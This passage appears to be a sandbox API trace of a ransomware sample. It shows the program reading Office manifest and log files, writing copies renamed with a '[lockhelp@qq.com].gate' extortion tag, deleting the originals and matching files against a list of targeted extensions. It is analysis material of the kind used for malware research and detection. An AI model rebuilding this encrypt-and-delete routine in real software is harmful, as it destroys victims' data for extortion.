lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0129.068] ReadFile (in: hFile=0x354, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.068] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0129.068] SetEndOfFile (hFile=0x35c) returned 1 [0129.068] CloseHandle (hObject=0x35c) returned 1 [0129.069] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.069] SetEndOfFile (hFile=0x354) returned 1 [0129.070] CloseHandle (hObject=0x354) returned 1 [0129.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0129.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0129.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.071] lstrlenW (lpString=".doc") returned 4 [0129.071] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.071] lstrlenW (lpString=".docx") returned 5 [0129.071] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.071] lstrlenW (lpString=".pdf") returned 4 [0129.071] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.072] lstrlenW (lpString=".xls") returned 4 [0129.072] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.072] lstrlenW (lpString=".xlsx") returned 5 [0129.072] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.072] lstrlenW (lpString=".ppt") returned 4 [0129.072] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.072] lstrlenW (lpString=".zip") returned 4 [0129.072] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.072] lstrlenW (lpString=".rar") returned 4 [0129.072] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.072] lstrlenW (lpString=".bz2") returned 4 [0129.072] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.072] lstrlenW (lpString=".7z") returned 3 [0129.072] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.072] lstrlenW (lpString=".dbf") returned 4 [0129.072] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.072] lstrlenW (lpString=".1cd") returned 4 [0129.072] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.072] lstrlenW (lpString=".jpg") returned 4 [0129.072] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.072] lstrlenW (lpString=".doc") returned 4 [0129.073] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.073] lstrlenW (lpString=".docx") returned 5 [0129.073] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.073] lstrlenW (lpString=".pdf") returned 4 [0129.073] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.073] lstrlenW (lpString=".xls") returned 4 [0129.073] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.073] lstrlenW (lpString=".xlsx") returned 5 [0129.073] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.073] lstrlenW (lpString=".ppt") returned 4 [0129.073] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.073] lstrlenW (lpString=".zip") returned 4 [0129.073] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.073] lstrlenW (lpString=".rar") returned 4 [0129.073] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.073] lstrlenW (lpString=".bz2") returned 4 [0129.073] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.073] lstrlenW (lpString=".7z") returned 3 [0129.073] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.073] lstrlenW (lpString=".dbf") returned 4 [0129.073] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.073] lstrlenW (lpString=".1cd") returned 4 [0129.073] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0129.073] lstrlenW (lpString=".jpg") returned 4 [0129.073] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.074] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0129.074] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53 [0129.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0129.074] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1261) returned 1 [0129.074] CloseHandle (hObject=0x354) returned 1 [0129.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0129.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0129.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0129.075] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.075] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0129.075] GetLastError () returned 0x0 [0129.075] ReadFile (in: hFile=0x354, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0129.726] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0129.727] ReadFile (in: hFile=0x354, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.727] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0129.727] SetEndOfFile (hFile=0x35c) returned 1 [0129.727] CloseHandle (hObject=0x35c) returned 1 [0129.728] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.728] SetEndOfFile (hFile=0x354) returned 1 [0129.729] CloseHandle (hObject=0x354) returned 1 [0129.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0129.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0129.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.730] lstrlenW (lpString=".doc") returned 4 [0129.730] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.730] lstrlenW (lpString=".docx") returned 5 [0129.730] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.730] lstrlenW (lpString=".pdf") returned 4 [0129.730] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.730] lstrlenW (lpString=".xls") returned 4 [0129.730] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.731] lstrlenW (lpString=".xlsx") returned 5 [0129.731] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.731] lstrlenW (lpString=".ppt") returned 4 [0129.731] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.731] lstrlenW (lpString=".zip") returned 4 [0129.731] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.731] lstrlenW (lpString=".rar") returned 4 [0129.731] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.731] lstrlenW (lpString=".bz2") returned 4 [0129.731] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.731] lstrlenW (lpString=".7z") returned 3 [0129.731] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.731] lstrlenW (lpString=".dbf") returned 4 [0129.731] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.731] lstrlenW (lpString=".1cd") returned 4 [0129.731] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.731] lstrlenW (lpString=".jpg") returned 4 [0129.731] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.731] lstrlenW (lpString=".doc") returned 4 [0129.732] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.732] lstrlenW (lpString=".docx") returned 5 [0129.732] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.732] lstrlenW (lpString=".pdf") returned 4 [0129.732] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.732] lstrlenW (lpString=".xls") returned 4 [0129.732] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.732] lstrlenW (lpString=".xlsx") returned 5 [0129.732] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.732] lstrlenW (lpString=".ppt") returned 4 [0129.732] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.732] lstrlenW (lpString=".zip") returned 4 [0129.732] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.732] lstrlenW (lpString=".rar") returned 4 [0129.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.732] lstrlenW (lpString=".bz2") returned 4 [0129.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.732] lstrlenW (lpString=".7z") returned 3 [0129.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.732] lstrlenW (lpString=".dbf") returned 4 [0129.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.732] lstrlenW (lpString=".1cd") returned 4 [0129.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0129.732] lstrlenW (lpString=".jpg") returned 4 [0129.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.733] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0129.733] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53 [0129.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0129.733] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1261) returned 1 [0129.733] CloseHandle (hObject=0x354) returned 1 [0129.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0129.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0129.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0129.734] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.734] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0129.734] GetLastError () returned 0x0 [0129.734] ReadFile (in: hFile=0x354, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0130.152] WriteFile (hFile=0x35c, lpBuffer=0x402b020, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0) Thread: id = 23 os_tid = 0xc04 [0109.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3cb1268 [0109.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3cc1270 [0109.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cab8 [0109.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x63d240 [0109.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cc50 [0109.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x4135020 [0109.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cad0 [0109.656] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cad0, Size=0x20) returned 0x5ee9d0 [0109.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cad0 [0109.656] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cad0, Size=0x20) returned 0x5eea20 [0109.657] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.657] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.657] Wow64DisableWow64FsRedirection (in: OldValue=0x376ff50 | out: OldValue=0x376ff50*=0x0) returned 1 [0109.657] lstrlenW (lpString="kernel32.dll") returned 12 [0109.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9d0 | out: hHeap=0x5b0000) returned 1 [0109.657] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea20 | out: hHeap=0x5b0000) returned 1 [0109.657] Sleep (dwMilliseconds=0x64) [0109.828] lstrcmpiW (lpString1=".log", lpString2=".gate") returned 1 [0109.828] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0109.828] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0109.942] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=42674) returned 1 [0109.943] CloseHandle (hObject=0x2d8) returned 1 [0109.943] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0109.943] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0109.943] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0109.943] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.943] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.943] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0109.943] GetLastError () returned 0x0 [0109.944] ReadFile (in: hFile=0x2d8, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0110.087] WriteFile (in: hFile=0x2dc, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0110.089] ReadFile (in: hFile=0x2d8, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.089] WriteFile (in: hFile=0x2dc, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x11e, lpOverlapped=0x0) returned 1 [0110.089] SetEndOfFile (hFile=0x2dc) returned 1 [0110.089] CloseHandle (hObject=0x2dc) returned 1 [0110.090] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.091] SetEndOfFile (hFile=0x2d8) returned 1 [0110.092] CloseHandle (hObject=0x2d8) returned 1 [0110.092] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0110.092] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0110.092] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.092] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.092] lstrlenW (lpString=".doc") returned 4 [0110.092] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0110.093] lstrlenW (lpString=".docx") returned 5 [0110.093] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0110.093] lstrlenW (lpString=".pdf") returned 4 [0110.093] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0110.093] lstrlenW (lpString=".xls") returned 4 [0110.093] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0110.093] lstrlenW (lpString=".xlsx") returned 5 [0110.093] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0110.093] lstrlenW (lpString=".ppt") returned 4 [0110.093] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0110.093] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.093] lstrlenW (lpString=".zip") returned 4 [0110.093] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0110.093] lstrlenW (lpString=".rar") returned 4 [0110.093] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0110.093] lstrlenW (lpString=".bz2") returned 4 [0110.093] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0110.093] lstrlenW (lpString=".7z") returned 3 [0110.093] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0110.093] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.093] lstrlenW (lpString=".dbf") returned 4 [0110.093] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0110.093] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.093] lstrlenW (lpString=".1cd") returned 4 [0110.093] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0110.093] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.093] lstrlenW (lpString=".jpg") returned 4 [0110.094] lstrcmpiW 